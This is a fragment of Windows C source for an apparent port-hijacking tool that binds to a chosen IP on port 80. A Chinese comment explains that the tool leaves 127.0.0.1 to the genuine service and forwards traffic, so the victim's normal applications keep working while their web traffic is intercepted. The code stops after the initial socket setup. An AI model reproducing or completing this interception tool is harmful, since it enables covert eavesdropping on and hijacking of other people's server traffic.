#include "stdafx.h" #include <winsock2.h> #include <windows.h> //#include <stdio.h> #include <stdlib.h> #include <fstream.h> DWORD WINAPI ClientThread(LPVOID lpParam); int main(int argc, char* argv[]) { if (argc!=2) { printf("using: listen [your ip address]\nfor example:\n listen 202.112.246.2\n"); return 0; } WORD wVersionRequested; DWORD ret; WSADATA wsaData; BOOL val; SOCKADDR_IN saddr; SOCKADDR_IN scaddr; int err; SOCKET s; SOCKET sc; int caddsize; HANDLE mt; DWORD tid; wVersionRequested = MAKEWORD( 2, 2 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { printf("error!WSAStartup failed!\n"); return -1; } saddr.sin_family = AF_INET; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 saddr.sin_addr.s_addr = inet_addr(argv[1]); saddr.sin_port = htons(80); if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) { printf("error!socket failed!\n"); return -1; } val = TRUE;
|